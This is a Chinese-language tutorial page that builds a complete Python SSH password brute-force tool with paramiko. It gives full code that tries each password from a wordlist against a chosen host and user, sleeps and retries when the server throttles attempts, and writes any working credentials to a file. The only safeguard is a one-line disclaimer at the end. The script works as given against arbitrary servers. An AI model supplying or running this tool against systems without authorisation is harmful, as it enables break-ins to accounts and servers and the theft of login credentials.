如何在Python中暴力破解SSH服务器密码

暴力攻击是一种活动,涉及反复尝试尝试许多密码组合以闯入需要身份验证的系统。在本教程中,您将学习如何在Python中制作用于SSH连接的暴力脚本。

如何在<a href='/tag/python.html'>Python</a>中暴力破解SSH服务器密码

我们将使用paramiko库,该库为我们提供了一个简单的SSH客户端界面,让我们安装它:

pip3 install paramiko colorama

我们使用colorama只是为了获得良好的可视效果,除此之外没有其他。

打开一个新的Python文件并导入所需的模块

import paramiko
import socket
import time
from colorama import init, Fore


定义一些我们将要使用的颜色:

# initialize colorama
init()

GREEN = Fore.GREEN
RED = Fore.RED
RESET = Fore.RESET
BLUE = Fore.BLUE


现在让我们构建一个给定主机名,用户名和密码的函数,它告诉我们组合是否正确:

def is_ssh_open(hostname, username, password):
    # initialize SSH client
    client = paramiko.SSHClient()
    # add to know hosts
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        client.connect(hostname=hostname, username=username, password=password, timeout=3)
    except socket.timeout:
        # this is when host is unreachable
        print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] Invalid credentials for {username}:{password}")
        return False
    except paramiko.SSHException:
        print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
        # sleep for a minute
        time.sleep(60)
        return is_ssh_open(hostname, username, password)
    else:
        # connection was established successfully
        print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
        return True


这里有很多要讲的。首先,我们使用paramiko.SSHClient()类初始化SSH客户端,该类是与SSH服务器的会话的高级表示。

其次,我们设置了连接到没有已知主机密钥的服务器时要使用的策略,我们使用了paramiko.AutoAddPolicy(),该策略用于自动将主机名和新的主机密钥添加到本地主机密钥并保存。

最后,我们尝试连接到SSH服务器并使用client.connect()方法对其进行身份验证,并设置3秒钟的超时时间,该方法将引发:

socket.timeout:当主机在3秒钟内无法访问时。
paramiko.AuthenticationException:用户名和密码组合不正确时。
paramiko.SSHException:当在短时间内执行了许多日志记录尝试时,换句话说,服务器检测到它是某种蛮力,我们将知道这一点并休眠一分钟然后递归调用该函数再次使用相同的参数。

如果没有上述任何异常,则说明连接成功建立并且凭据正确,在这种情况下,我们返回True。

由于这是一个命令行脚本,因此我们将解析在命令行中传递的参数:

if __name__ == "__main__":
    import argparse
    parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.")
    parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.")
    parser.add_argument("-P", "--passlist", help="File that contain password list in each line.")
    parser.add_argument("-u", "--user", help="Host username.")

    # parse passed arguments
    args = parser.parse_args()
    host = args.host
    passlist = args.passlist
    user = args.user
    # read the file
    passlist = open(passlist).read().splitlines()
    # brute-force
    for password in passlist:
        if is_ssh_open(host, user, password):
            # if combo is valid, save it to a file
            open("credentials.txt", "w").write(f"{user}@{host}:{password}")
            break


我们基本上解析了参数以检索主机名,用户名和密码列表文件,然后遍历单词列表中的所有密码,我在本地SSH服务器上运行了此命令,这是屏幕截图:

如何在<a href='/tag/python.html'>Python</a>中暴力破解SSH服务器密码

使用Python脚本强行强制SSH服务器的结果wordlist.txt是一个包含5000多个密码的nmap密码列表文件,我基本上是从Kali Linux OS的路径“ /usr/share/wordlists/nmap.lst”中获取的。

免责声明:请不要在您没有或没有权限的设备上使用此工具,我们不承担任何责任,本教程仅用于教育目的

{{collectdata}}

网友评论0